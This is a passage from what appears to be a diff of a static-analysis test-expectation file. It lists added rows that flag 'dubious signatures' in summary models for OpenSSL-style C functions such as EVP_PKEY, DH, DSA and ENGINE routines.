*,unsigned int)" in summary model. | +| Dubious signature "(CMS_ContentInfo *,const unsigned char *,unsigned int,BIO *,unsigned int)" in summary model. | +| Dubious signature "(CMS_ContentInfo *,stack_st_X509 **)" in summary model. | +| Dubious signature "(CMS_ContentInfo *,stack_st_X509 *,X509_STORE *,BIO *,BIO *,unsigned int)" in summary model. | +| Dubious signature "(CMS_ContentInfo *,stack_st_X509_CRL **)" in summary model. | +| Dubious signature "(CMS_EncryptedContentInfo *,const EVP_CIPHER *,const unsigned char *,size_t,const CMS_CTX *)" in summary model. | +| Dubious signature "(CMS_EnvelopedData *)" in summary model. | +| Dubious signature "(CMS_EnvelopedData *,BIO *,EVP_PKEY *,X509 *,ASN1_OCTET_STRING *,unsigned int,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(CMS_IssuerAndSerialNumber **,X509 *)" in summary model. | +| Dubious signature "(CMS_IssuerAndSerialNumber *,X509 *)" in summary model. | +| Dubious signature "(CMS_ReceiptRequest *)" in summary model. | +| Dubious signature "(CMS_ReceiptRequest **,const unsigned char **,long)" in summary model. | +| Dubious signature "(CMS_ReceiptRequest *,ASN1_STRING **,int *,stack_st_GENERAL_NAMES **,stack_st_GENERAL_NAMES **)" in summary model. | +| Dubious signature "(CMS_RecipientEncryptedKey *,X509 *)" in summary model. | +| Dubious signature "(CMS_RecipientInfo *)" in summary model. | +| Dubious signature "(CMS_RecipientInfo *,X509 *)" in summary model. | +| Dubious signature "(CMS_RecipientInfo *,X509 *,EVP_PKEY *,X509 *,EVP_PKEY *,unsigned int,const CMS_CTX *)" in summary model. | +| Dubious signature "(CMS_RecipientInfo *,const unsigned char *,size_t)" in summary model. | +| Dubious signature "(CMS_SignedData *)" in summary model. | +| Dubious signature "(CMS_SignedData *,BIO *,stack_st_X509 *,X509_STORE *,stack_st_X509 *,stack_st_X509_CRL *,unsigned int,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(CMS_SignerIdentifier *,ASN1_OCTET_STRING **,X509_NAME **,ASN1_INTEGER **)" in summary model. | +| Dubious signature "(CMS_SignerIdentifier *,X509 *)" in summary model. | +| Dubious signature "(CMS_SignerIdentifier *,X509 *,int,const CMS_CTX *)" in summary model. | +| Dubious signature "(CMS_SignerInfo *)" in summary model. | +| Dubious signature "(CMS_SignerInfo *,BIO *)" in summary model. | +| Dubious signature "(CMS_SignerInfo *,CMS_ReceiptRequest *)" in summary model. | +| Dubious signature "(CMS_SignerInfo *,EVP_PKEY **,X509 **,X509_ALGOR **,X509_ALGOR **)" in summary model. | +| Dubious signature "(CMS_SignerInfo *,X509 *)" in summary model. | +| Dubious signature "(CMS_SignerInfo *,X509 *,EVP_PKEY *,stack_st_X509 *,unsigned int)" in summary model. | +| Dubious signature "(CMS_SignerInfo *,X509_ATTRIBUTE *)" in summary model. | +| Dubious signature "(CMS_SignerInfo *,int)" in summary model. | +| Dubious signature "(CMS_SignerInfo *,stack_st_X509_ALGOR *)" in summary model. | +| Dubious signature "(COMP_CTX *,unsigned char *,int,unsigned char *,int)" in summary model. | +| Dubious signature "(COMP_METHOD *)" in summary model. | +| Dubious signature "(CONF *,CONF_VALUE *,CONF_VALUE *)" in summary model. | +| Dubious signature "(CONF *,X509V3_CTX *,const char *,stack_st_X509_EXTENSION **)" in summary model. | +| Dubious signature "(CONF *,X509V3_CTX *,int,const char *)" in summary model. | +| Dubious signature "(CONF *,const char *)" in summary model. | +| Dubious signature "(CONF *,const char *,TS_serial_cb,TS_RESP_CTX *)" in summary model. | +| Dubious signature "(CONF *,const char *,X509_ACERT *)" in summary model. | +| Dubious signature "(CONF *,lhash_st_CONF_VALUE *)" in summary model. | +| Dubious signature "(CONF_IMODULE *,unsigned long)" in summary model. | +| Dubious signature "(CONF_IMODULE *,void *)" in summary model. | +| Dubious signature "(CONF_MODULE *)" in summary model. | +| Dubious signature "(CONF_MODULE *,void *)" in summary model. | +| Dubious signature "(CRL_DIST_POINTS *)" in summary model. | +| Dubious signature "(CRL_DIST_POINTS **,const unsigned char **,long)" in summary model. | +| Dubious signature "(CRYPTO_EX_DATA *,int,void *)" in summary model. | +| Dubious signature "(CRYPTO_RCU_LOCK *,rcu_cb_fn,void *)" in summary model. | +| Dubious signature "(CRYPTO_THREAD *,CRYPTO_THREAD_RETVAL *)" in summary model. | +| Dubious signature "(CRYPTO_THREAD_LOCAL *)" in summary model. | +| Dubious signature "(CRYPTO_THREAD_LOCAL *,void *)" in summary model. | +| Dubious signature "(CRYPTO_THREAD_ROUTINE,void *,int)" in summary model. | | Dubious signature "(CRegKey &)" in summary model. | +| Dubious signature "(CTLOG **,const char *,const char *)" in summary model. | +| Dubious signature "(CTLOG **,const char *,const char *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(CT_POLICY_EVAL_CTX *,CTLOG_STORE *)" in summary model. | +| Dubious signature "(CT_POLICY_EVAL_CTX *,X509 *)" in summary model. | +| Dubious signature "(CT_POLICY_EVAL_CTX *,uint64_t)" in summary model. | +| Dubious signature "(DES_LONG *,DES_key_schedule *,DES_key_schedule *,DES_key_schedule *)" in summary model. | +| Dubious signature "(DES_cblock *)" in summary model. | +| Dubious signature "(DH *)" in summary model. | +| Dubious signature "(DH **,const unsigned char **,long)" in summary model. | +| Dubious signature "(DH *,BIGNUM *,BIGNUM *)" in summary model. | +| Dubious signature "(DH *,BIGNUM *,BIGNUM *,BIGNUM *)" in summary model. | +| Dubious signature "(DH *,OSSL_LIB_CTX *)" in summary model. | +| Dubious signature "(DH *,OSSL_PARAM_BLD *,OSSL_PARAM[])" in summary model. | +| Dubious signature "(DH *,OSSL_PARAM_BLD *,OSSL_PARAM[],int)" in summary model. | +| Dubious signature "(DH *,const DH_METHOD *)" in summary model. | +| Dubious signature "(DH *,const OSSL_PARAM[])" in summary model. | +| Dubious signature "(DH *,const OSSL_PARAM[],int)" in summary model. | +| Dubious signature "(DH *,const unsigned char *,size_t)" in summary model. | +| Dubious signature "(DH *,int)" in summary model. | +| Dubious signature "(DH *,int,int,int,BN_GENCB *)" in summary model. | +| Dubious signature "(DH *,long)" in summary model. | +| Dubious signature "(DH_METHOD *,..(*)(..))" in summary model. | +| Dubious signature "(DH_METHOD *,const char *)" in summary model. | +| Dubious signature "(DH_METHOD *,int)" in summary model. | +| Dubious signature "(DH_METHOD *,void *)" in summary model. | +| Dubious signature "(DIST_POINT *)" in summary model. | +| Dubious signature "(DIST_POINT **,const unsigned char **,long)" in summary model. | +| Dubious signature "(DIST_POINT_NAME *)" in summary model. | +| Dubious signature "(DIST_POINT_NAME **,const unsigned char **,long)" in summary model. | +| Dubious signature "(DIST_POINT_NAME *,const X509_NAME *)" in summary model. | +| Dubious signature "(DSA *)" in summary model. | +| Dubious signature "(DSA **,const unsigned char **,long)" in summary model. | +| Dubious signature "(DSA *,BIGNUM *,BIGNUM *)" in summary model. | +| Dubious signature "(DSA *,BIGNUM *,BIGNUM *,BIGNUM *)" in summary model. | +| Dubious signature "(DSA *,OSSL_LIB_CTX *)" in summary model. | +| Dubious signature "(DSA *,const DSA_METHOD *)" in summary model. | +| Dubious signature "(DSA *,const OSSL_PARAM[])" in summary model. | +| Dubious signature "(DSA *,const OSSL_PARAM[],int)" in summary model. | +| Dubious signature "(DSA *,int)" in summary model. | +| Dubious signature "(DSA *,int,const unsigned char *,int,int *,unsigned long *,BN_GENCB *)" in summary model. | +| Dubious signature "(DSA *,int,int,int,BN_GENCB *)" in summary model. | +| Dubious signature "(DSA_METHOD *,..(*)(..))" in summary model. | +| Dubious signature "(DSA_METHOD *,const char *)" in summary model. | +| Dubious signature "(DSA_METHOD *,int)" in summary model. | +| Dubious signature "(DSA_METHOD *,void *)" in summary model. | +| Dubious signature "(DSA_SIG **,const unsigned char **,long)" in summary model. | +| Dubious signature "(DSA_SIG *,BIGNUM *,BIGNUM *)" in summary model. | +| Dubious signature "(DSO *)" in summary model. | +| Dubious signature "(DSO *,const char *)" in summary model. | +| Dubious signature "(DSO *,const char *,DSO_METHOD *,int)" in summary model. | +| Dubious signature "(DSO *,int,long,void *)" in summary model. | | Dubious signature "(DWORD &,LPCTSTR)" in summary model. | +| Dubious signature "(ECDSA_SIG **,const unsigned char **,long)" in summary model. | +| Dubious signature "(ECDSA_SIG *,BIGNUM *,BIGNUM *)" in summary model. | +| Dubious signature "(ECPARAMETERS *)" in summary model. | +| Dubious signature "(ECPKPARAMETERS *)" in summary model. | +| Dubious signature "(ECPKPARAMETERS **,const unsigned char **,long)" in summary model. | +| Dubious signature "(ECX_KEY *)" in summary model. | +| Dubious signature "(ECX_KEY **,const unsigned char **,long)" in summary model. | +| Dubious signature "(ECX_KEY *,ECX_KEY *,size_t,unsigned char *,size_t *,size_t)" in summary model. | +| Dubious signature "(ECX_KEY *,OSSL_LIB_CTX *)" in summary model. | +| Dubious signature "(ECX_KEY *,const OSSL_PARAM[],int)" in summary model. | +| Dubious signature "(EC_GROUP **,const unsigned char **,long)" in summary model. | +| Dubious signature "(EC_GROUP *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)" in summary model. | +| Dubious signature "(EC_GROUP *,const EC_GROUP *)" in summary model. | +| Dubious signature "(EC_GROUP *,const EC_POINT *,const BIGNUM *,const BIGNUM *)" in summary model. | +| Dubious signature "(EC_GROUP *,const OSSL_PARAM[])" in summary model. | +| Dubious signature "(EC_GROUP *,const unsigned char *,size_t)" in summary model. | +| Dubious signature "(EC_GROUP *,int)" in summary model. | +| Dubious signature "(EC_GROUP *,point_conversion_form_t)" in summary model. | +| Dubious signature "(EC_KEY **,const unsigned char **,long)" in summary model. | +| Dubious signature "(EC_KEY *,BN_CTX *,BIGNUM **,BIGNUM **)" in summary model. | +| Dubious signature "(EC_KEY *,OSSL_LIB_CTX *)" in summary model. | +| Dubious signature "(EC_KEY *,const BIGNUM *)" in summary model. | +| Dubious signature "(EC_KEY *,const EC_GROUP *)" in summary model. | +| Dubious signature "(EC_KEY *,const EC_KEY *)" in summary model. | +| Dubious signature "(EC_KEY *,const EC_KEY_METHOD *)" in summary model. | +| Dubious signature "(EC_KEY *,const OSSL_PARAM[])" in summary model. | +| Dubious signature "(EC_KEY *,const OSSL_PARAM[],int)" in summary model. | +| Dubious signature "(EC_KEY *,const unsigned char *,size_t)" in summary model. | +| Dubious signature "(EC_KEY *,const unsigned char *,size_t,BN_CTX *)" in summary model. | +| Dubious signature "(EC_KEY *,int)" in summary model. | +| Dubious signature "(EC_KEY *,point_conversion_form_t)" in summary model. | +| Dubious signature "(EC_KEY *,unsigned int)" in summary model. | +| Dubious signature "(EC_KEY_METHOD *,..(*)(..))" in summary model. | +| Dubious signature "(EC_KEY_METHOD *,..(*)(..),..(*)(..))" in summary model. | +| Dubious signature "(EC_KEY_METHOD *,..(*)(..),..(*)(..),..(*)(..))" in summary model. | +| Dubious signature "(EC_KEY_METHOD *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..))" in summary model. | +| Dubious signature "(EC_POINT *,const EC_POINT *)" in summary model. | +| Dubious signature "(EC_PRE_COMP *)" in summary model. | +| Dubious signature "(EC_PRIVATEKEY *)" in summary model. | +| Dubious signature "(EC_PRIVATEKEY **,const unsigned char **,long)" in summary model. | +| Dubious signature "(EDIPARTYNAME *)" in summary model. | +| Dubious signature "(EDIPARTYNAME **,const unsigned char **,long)" in summary model. | +| Dubious signature "(ENGINE *)" in summary model. | +| Dubious signature "(ENGINE *,ENGINE_CIPHERS_PTR)" in summary model. | +| Dubious signature "(ENGINE *,ENGINE_CTRL_FUNC_PTR)" in summary model. | +| Dubious signature "(ENGINE *,ENGINE_DIGESTS_PTR)" in summary model. | +| Dubious signature "(ENGINE *,ENGINE_DYNAMIC_ID,int)" in summary model. | +| Dubious signature "(ENGINE *,ENGINE_GEN_INT_FUNC_PTR)" in summary model. | +| Dubious signature "(ENGINE *,ENGINE_LOAD_KEY_PTR)" in summary model. | +| Dubious signature "(ENGINE *,ENGINE_PKEY_ASN1_METHS_PTR)" in summary model. | +| Dubious signature "(ENGINE *,ENGINE_PKEY_METHS_PTR)" in summary model. | +| Dubious signature "(ENGINE *,ENGINE_SSL_CLIENT_CERT_PTR)" in summary model. | +| Dubious signature "(ENGINE *,const DH_METHOD *)" in summary model. | +| Dubious signature "(ENGINE *,const DSA_METHOD *)" in summary model. | +| Dubious signature "(ENGINE *,const EC_KEY_METHOD *)" in summary model. | +| Dubious signature "(ENGINE *,const ENGINE_CMD_DEFN *)" in summary model. | +| Dubious signature "(ENGINE *,const RAND_METHOD *)" in summary model. | +| Dubious signature "(ENGINE *,const RSA_METHOD *)" in summary model. | +| Dubious signature "(ENGINE *,const char *)" in summary model. | +| Dubious signature "(ENGINE *,const char *,const char *)" in summary model. | +| Dubious signature "(ENGINE *,const char *,const char *,int)" in summary model. | +| Dubious signature "(ENGINE *,const char *,long,void *,..(*)(..),int)" in summary model. | +| Dubious signature "(ENGINE *,int)" in summary model. | +| Dubious signature "(ENGINE *,int,long,void *,..(*)(..))" in summary model. | +| Dubious signature "(ENGINE_TABLE **)" in summary model. | +| Dubious signature "(ENGINE_TABLE **,ENGINE *)" in summary model. | +| Dubious signature "(ENGINE_TABLE **,ENGINE_CLEANUP_CB *,ENGINE *,const int *,int,int)" in summary model. | +| Dubious signature "(ENGINE_TABLE **,int,const char *,int)" in summary model. | +| Dubious signature "(ESS_CERT_ID *)" in summary model. | +| Dubious signature "(ESS_CERT_ID **,const unsigned char **,long)" in summary model. | +| Dubious signature "(ESS_CERT_ID_V2 *)" in summary model. | +| Dubious signature "(ESS_CERT_ID_V2 **,const unsigned char **,long)" in summary model. | +| Dubious signature "(ESS_ISSUER_SERIAL *)" in summary model. | +| Dubious signature "(ESS_ISSUER_SERIAL **,const unsigned char **,long)" in summary model. | +| Dubious signature "(ESS_SIGNING_CERT *)" in summary model. | +| Dubious signature "(ESS_SIGNING_CERT **,const unsigned char **,long)" in summary model. | +| Dubious signature "(ESS_SIGNING_CERT_V2 *)" in summary model. | +| Dubious signature "(ESS_SIGNING_CERT_V2 **,const unsigned char **,long)" in summary model. | +| Dubious signature "(EVP_CIPHER *,..(*)(..))" in summary model. | +| Dubious signature "(EVP_CIPHER *,int)" in summary model. | +| Dubious signature "(EVP_CIPHER *,unsigned long)" in summary model. | +| Dubious signature "(EVP_CIPHER_CTX *)" in summary model. | +| Dubious signature "(EVP_CIPHER_CTX *,ASN1_TYPE *)" in summary model. | +| Dubious signature "(EVP_CIPHER_CTX *,ASN1_TYPE *,evp_cipher_aead_asn1_params *)" in summary model. | +| Dubious signature "(EVP_CIPHER_CTX *,X509_ALGOR **)" in summary model. | +| Dubious signature "(EVP_CIPHER_CTX *,const EVP_CIPHER *,ENGINE *,const unsigned char *,const unsigned char *)" in summary model. | +| Dubious signature "(EVP_CIPHER_CTX *,const EVP_CIPHER *,ENGINE *,const unsigned char *,const unsigned char *,int)" in summary model. | +| Dubious signature "(EVP_CIPHER_CTX *,const EVP_CIPHER *,EVP_SKEY *,const unsigned char *,size_t,int,const OSSL_PARAM[])" in summary model. | +| Dubious signature "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *)" in summary model. | +| Dubious signature "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,const OSSL_PARAM[])" in summary model. | +| Dubious signature "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,int)" in summary model. | +| Dubious signature "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,int,const OSSL_PARAM[])" in summary model. | +| Dubious signature "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,int,const unsigned char *,EVP_PKEY *)" in summary model. | +| Dubious signature "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,size_t,size_t,const unsigned char **,size_t)" in summary model. | +| Dubious signature "(EVP_CIPHER_CTX *,const EVP_CIPHER *,unsigned char **,int *,unsigned char *,EVP_PKEY **,int)" in summary model. | +| Dubious signature "(EVP_CIPHER_CTX *,const EVP_CIPHER_CTX *)" in summary model. | +| Dubious signature "(EVP_CIPHER_CTX *,const OSSL_PARAM[])" in summary model. | +| Dubious signature "(EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int)" in summary model. | +| Dubious signature "(EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(EVP_CIPHER_CTX *,int)" in summary model. | +| Dubious signature "(EVP_CIPHER_CTX *,int,int,void *)" in summary model. | +| Dubious signature "(EVP_CIPHER_CTX *,unsigned char *)" in summary model. | +| Dubious signature "(EVP_CIPHER_CTX *,unsigned char *,int *)" in summary model. | +| Dubious signature "(EVP_CIPHER_CTX *,unsigned char *,int *,const unsigned char *,int)" in summary model. | +| Dubious signature "(EVP_CIPHER_CTX *,void *)" in summary model. | +| Dubious signature "(EVP_CIPHER_INFO *,unsigned char *,long *,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(EVP_ENCODE_CTX *)" in summary model. | +| Dubious signature "(EVP_ENCODE_CTX *,const EVP_ENCODE_CTX *)" in summary model. | +| Dubious signature "(EVP_ENCODE_CTX *,unsigned char *,int *)" in summary model. | +| Dubious signature "(EVP_ENCODE_CTX *,unsigned char *,int *,const unsigned char *,int)" in summary model. | +| Dubious signature "(EVP_ENCODE_CTX *,unsigned int)" in summary model. | +| Dubious signature "(EVP_KDF *)" in summary model. | +| Dubious signature "(EVP_KDF_CTX *)" in summary model. | +| Dubious signature "(EVP_KEYMGMT *,int)" in summary model. | +| Dubious signature "(EVP_KEYMGMT *,void *)" in summary model. | +| Dubious signature "(EVP_KEYMGMT *,void *,char *,size_t)" in summary model. | +| Dubious signature "(EVP_MAC *)" in summary model. | +| Dubious signature "(EVP_MAC_CTX *)" in summary model. | +| Dubious signature "(EVP_MAC_CTX **,const OSSL_PARAM[],const char *,const char *,const char *,OSSL_LIB_CTX *)" in summary model. | +| Dubious signature "(EVP_MAC_CTX *,const OSSL_PARAM[],const char *,const char *,const char *,const char *,const unsigned char *,size_t)" in summary model. | +| Dubious signature "(EVP_MD *,..(*)(..))" in summary model. | +| Dubious signature "(EVP_MD *,int)" in summary model. | +| Dubious signature "(EVP_MD *,unsigned long)" in summary model. | +| Dubious signature "(EVP_MD_CTX *)" in summary model. | +| Dubious signature "(EVP_MD_CTX *,..(*)(..))" in summary model. | +| Dubious signature "(EVP_MD_CTX *,BIO *,X509_ALGOR *)" in summary model. | +| Dubious signature "(EVP_MD_CTX *,EVP_MD *)" in summary model. | +| Dubious signature "(EVP_MD_CTX *,EVP_PKEY_CTX *)" in summary model. | +| Dubious signature "(EVP_MD_CTX *,EVP_PKEY_CTX **,const EVP_MD *,ENGINE *,EVP_PKEY *)" in summary model. | +| Dubious signature "(EVP_MD_CTX *,EVP_PKEY_CTX **,const char *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,const OSSL_PARAM[])" in summary model. | +| Dubious signature "(EVP_MD_CTX *,EVP_PKEY_CTX *,const X509_ALGOR *,EVP_PKEY *)" in summary model. | +| Dubious signature "(EVP_MD_CTX *,const EVP_MD *)" in summary model. | +| Dubious signature "(EVP_MD_CTX *,const EVP_MD *,ENGINE *)" in summary model. | +| Dubious signature "(EVP_MD_CTX *,const EVP_MD *,const OSSL_PARAM[])" in summary model. | +| Dubious signature "(EVP_MD_CTX *,const EVP_MD *,const uint8_t *,MATRIX *)" in summary model. | +| Dubious signature "(EVP_MD_CTX *,const EVP_MD *,int,const uint8_t *,VECTOR *,VECTOR *)" in summary model. | +| Dubious signature "(EVP_MD_CTX *,const EVP_MD_CTX *)" in summary model. | +| Dubious signature "(EVP_MD_CTX *,const unsigned char *,size_t)" in summary model. | +| Dubious signature "(EVP_MD_CTX *,const unsigned char *,size_t,const unsigned char *,size_t)" in summary model. | +| Dubious signature "(EVP_MD_CTX *,const unsigned char *,unsigned int,EVP_PKEY *)" in summary model. | +| Dubious signature "(EVP_MD_CTX *,const unsigned char *,unsigned int,EVP_PKEY *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(EVP_MD_CTX *,int)" in summary model. | +| Dubious signature "(EVP_MD_CTX *,unsigned char *,size_t *)" in summary model. | +| Dubious signature "(EVP_MD_CTX *,unsigned char *,size_t *,const unsigned char *,size_t)" in summary model. | +| Dubious signature "(EVP_MD_CTX *,unsigned char *,unsigned int *)" in summary model. | +| Dubious signature "(EVP_MD_CTX *,unsigned char *,unsigned int *,EVP_PKEY *)" in summary model. | +| Dubious signature "(EVP_MD_CTX *,unsigned char *,unsigned int *,EVP_PKEY *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(EVP_PKEY *)" in summary model. | +| Dubious signature "(EVP_PKEY **,const EVP_PKEY *)" in summary model. | +| Dubious signature "(EVP_PKEY **,const char *,const char *,const char *,int,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(EVP_PKEY **,const unsigned char **,long)" in summary model. | +| Dubious signature "(EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(EVP_PKEY *,DH *,dh_st *)" in summary model. | +| Dubious signature "(EVP_PKEY *,DSA *,dsa_st *)" in summary model. | +| Dubious signature "(EVP_PKEY *,EC_KEY *,ec_key_st *)" in summary model. | +| Dubious signature "(EVP_PKEY *,ENGINE *)" in summary model. | +| Dubious signature "(EVP_PKEY *,EVP_KEYMGMT *)" in summary model. | +| Dubious signature "(EVP_PKEY *,EVP_KEYMGMT *,int)" in summary model. | +| Dubious signature "(EVP_PKEY *,EVP_KEYMGMT *,int,const OSSL_PARAM[])" in summary model. | +| Dubious signature "(EVP_PKEY *,EVP_KEYMGMT *,void *)" in summary model. | +| Dubious signature "(EVP_PKEY *,EVP_KEYMGMT *,void *,OSSL_CALLBACK *,void *)" in summary model. | +| Dubious signature "(EVP_PKEY *,EVP_PKEY *,int)" in summary model. | +| Dubious signature "(EVP_PKEY *,OSSL_LIB_CTX *,EVP_KEYMGMT **,const char *)" in summary model. | +| Dubious signature "(EVP_PKEY *,RSA *,rsa_st *)" in summary model. | +| Dubious signature "(EVP_PKEY *,X509_ATTRIBUTE *)" in summary model. | +| Dubious signature "(EVP_PKEY *,char *,size_t)" in summary model. | +| Dubious signature "(EVP_PKEY *,const ASN1_OCTET_STRING *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(EVP_PKEY *,const EVP_PKEY *)" in summary model. | +| Dubious signature "(EVP_PKEY *,const char *)" in summary model. | +| Dubious signature "(EVP_PKEY *,const char *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(EVP_PKEY *,const char *,const BIGNUM *)" in summary model. | +| Dubious signature "(EVP_PKEY *,int)" in summary model. | +| Dubious signature "(EVP_PKEY *,int,void *)" in summary model. | +| Dubious signature "(EVP_PKEY *,stack_st_X509 *)" in summary model. | +| Dubious signature "(EVP_PKEY_ASN1_METHOD *,..(*)(..))" in summary model. | +| Dubious signature "(EVP_PKEY_ASN1_METHOD *,..(*)(..),..(*)(..))" in summary model. | +| Dubious signature "(EVP_PKEY_ASN1_METHOD *,..(*)(..),..(*)(..),..(*)(..))" in summary model. | +| Dubious signature "(EVP_PKEY_ASN1_METHOD *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..))" in summary model. | +| Dubious signature "(EVP_PKEY_ASN1_METHOD *,const EVP_PKEY_ASN1_METHOD *)" in summary model. | +| Dubious signature "(EVP_PKEY_CTX *)" in summary model. | +| Dubious signature "(EVP_PKEY_CTX **,const char *,ENGINE *,int,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(EVP_PKEY_CTX *,ASN1_OBJECT *)" in summary model. | +| Dubious signature "(EVP_PKEY_CTX *,ASN1_OBJECT **)" in summary model. | +| Dubious signature "(EVP_PKEY_CTX *,BIGNUM *)" in summary model. | +| Dubious signature "(EVP_PKEY_CTX *,EVP_PKEY *)" in summary model. | +| Dubious signature "(EVP_PKEY_CTX *,EVP_PKEY **)" in summary model. | +| Dubious signature "(EVP_PKEY_CTX *,EVP_PKEY **,int,OSSL_PARAM[])" in summary model. | +| Dubious signature "(EVP_PKEY_CTX *,EVP_PKEY *,int)" in summary model. | +| Dubious signature "(EVP_PKEY_CTX *,EVP_PKEY_gen_cb *)" in summary model. | +| Dubious signature "(EVP_PKEY_CTX *,OSSL_PARAM *)" in summary model. | +| Dubious signature "(EVP_PKEY_CTX *,X509_ALGOR **)" in summary model. | +| Dubious signature "(EVP_PKEY_CTX *,const EVP_MD *)" in summary model. | +| Dubious signature "(EVP_PKEY_CTX *,const EVP_MD **)" in summary model. | +| Dubious signature "(EVP_PKEY_CTX *,const OSSL_PARAM *)" in summary model. | +| Dubious signature "(EVP_PKEY_CTX *,const char *)" in summary model. | +| Dubious signature "(EVP_PKEY_CTX *,const char *,const char *)" in summary model. | +| Dubious signature "(EVP_PKEY_CTX *,const char *,int)" in summary model. | +| Dubious signature "(EVP_PKEY_CTX *,const char *,int,int)" in summary model. | +| Dubious signature "(EVP_PKEY_CTX *,const unsigned char *,int)" in summary model. | +| Dubious signature "(EVP_PKEY_CTX *,const void *,int)" in summary model. | +| Dubious signature "(EVP_PKEY_CTX *,int *)" in summary model. | +| Dubious signature "(EVP_PKEY_CTX *,int *,int)" in summary model. | +| Dubious signature "(EVP_PKEY_CTX *,int)" in summary model. | +| Dubious signature "(EVP_PKEY_CTX *,int,int,int,int,void *)" in summary model. | +| Dubious signature "(EVP_PKEY_CTX *,int,int,int,uint64_t)" in summary model. | +| Dubious signature "(EVP_PKEY_CTX *,int,int,int,void *)" in summary model. | +| Dubious signature "(EVP_PKEY_CTX *,size_t *)" in summary model. | +| Dubious signature "(EVP_PKEY_CTX *,uint64_t)" in summary model. | +| Dubious signature "(EVP_PKEY_CTX *,unsigned char **,size_t *,size_t,const unsigned char *,size_t)" in summary model. | +| Dubious signature "(EVP_PKEY_CTX *,unsigned char *,size_t *)" in summary model. | +| Dubious signature "(EVP_PKEY_CTX *,unsigned char *,size_t *,const unsigned char *,size_t)" in summary model. | +| Dubious signature "(EVP_PKEY_CTX *,void *)" in summary model. | +| Dubious signature "(EVP_PKEY_METHOD *,..(*)(..))" in summary model. | +| Dubious signature "(EVP_PKEY_METHOD *,..(*)(..),..(*)(..))" in summary model. | +| Dubious signature "(EVP_PKEY_METHOD *,const EVP_PKEY_METHOD *)" in summary model. | +| Dubious signature "(EVP_RAND *,EVP_RAND_CTX *)" in summary model. | +| Dubious signature "(EVP_RAND_CTX *)" in summary model. | +| Dubious signature "(EVP_RAND_CTX *,unsigned char *,size_t)" in summary model. | +| Dubious signature "(EVP_RAND_CTX *,unsigned char *,size_t,unsigned int,int,const unsigned char *,size_t)" in summary model. | +| Dubious signature "(EVP_SKEY *,OSSL_LIB_CTX *,OSSL_PROVIDER *,const char *)" in summary model. | +| Dubious signature "(EXTENDED_KEY_USAGE *)" in summary model. | +| Dubious signature "(EXTENDED_KEY_USAGE **,const unsigned char **,long)" in summary model. | +| Dubious signature "(FFC_PARAMS *,BIGNUM *)" in summary model. | +| Dubious signature "(FFC_PARAMS *,BIGNUM *,BIGNUM *,BIGNUM *)" in summary model. | +| Dubious signature "(FFC_PARAMS *,const DH_NAMED_GROUP *)" in summary model. | +| Dubious signature "(FFC_PARAMS *,const FFC_PARAMS *)" in summary model. | +| Dubious signature "(FFC_PARAMS *,const OSSL_PARAM[])" in summary model. | +| Dubious signature "(FFC_PARAMS *,const char *,const char *)" in summary model. | +| Dubious signature "(FFC_PARAMS *,const unsigned char *,size_t)" in summary model. | +| Dubious signature "(FFC_PARAMS *,const unsigned char *,size_t,int)" in summary model. | +| Dubious signature "(FFC_PARAMS *,int)" in summary model. | +| Dubious signature "(FFC_PARAMS *,unsigned int)" in summary model. | +| Dubious signature "(FFC_PARAMS *,unsigned int,int)" in summary model. | +| Dubious signature "(FILE *,CMS_ContentInfo **,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(FILE *,DH **,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(FILE *,DSA **)" in summary model. | +| Dubious signature "(FILE *,DSA **,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(FILE *,EC_GROUP **,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(FILE *,EC_KEY **)" in summary model. | +| Dubious signature "(FILE *,EC_KEY **,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(FILE *,EVP_PKEY **)" in summary model. | +| Dubious signature "(FILE *,EVP_PKEY **,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(FILE *,EVP_PKEY **,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(FILE *,EVP_PKEY **,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(FILE *,NETSCAPE_CERT_SEQUENCE **,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(FILE *,PKCS7 **)" in summary model. | +| Dubious signature "(FILE *,PKCS7 **,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(FILE *,PKCS8_PRIV_KEY_INFO **)" in summary model. | +| Dubious signature "(FILE *,PKCS8_PRIV_KEY_INFO **,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(FILE *,PKCS12 **)" in summary model. | +| Dubious signature "(FILE *,RSA **)" in summary model. | +| Dubious signature "(FILE *,RSA **,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(FILE *,SSL_SESSION **,pem_password_cb *,void *)" in summary model. | +| 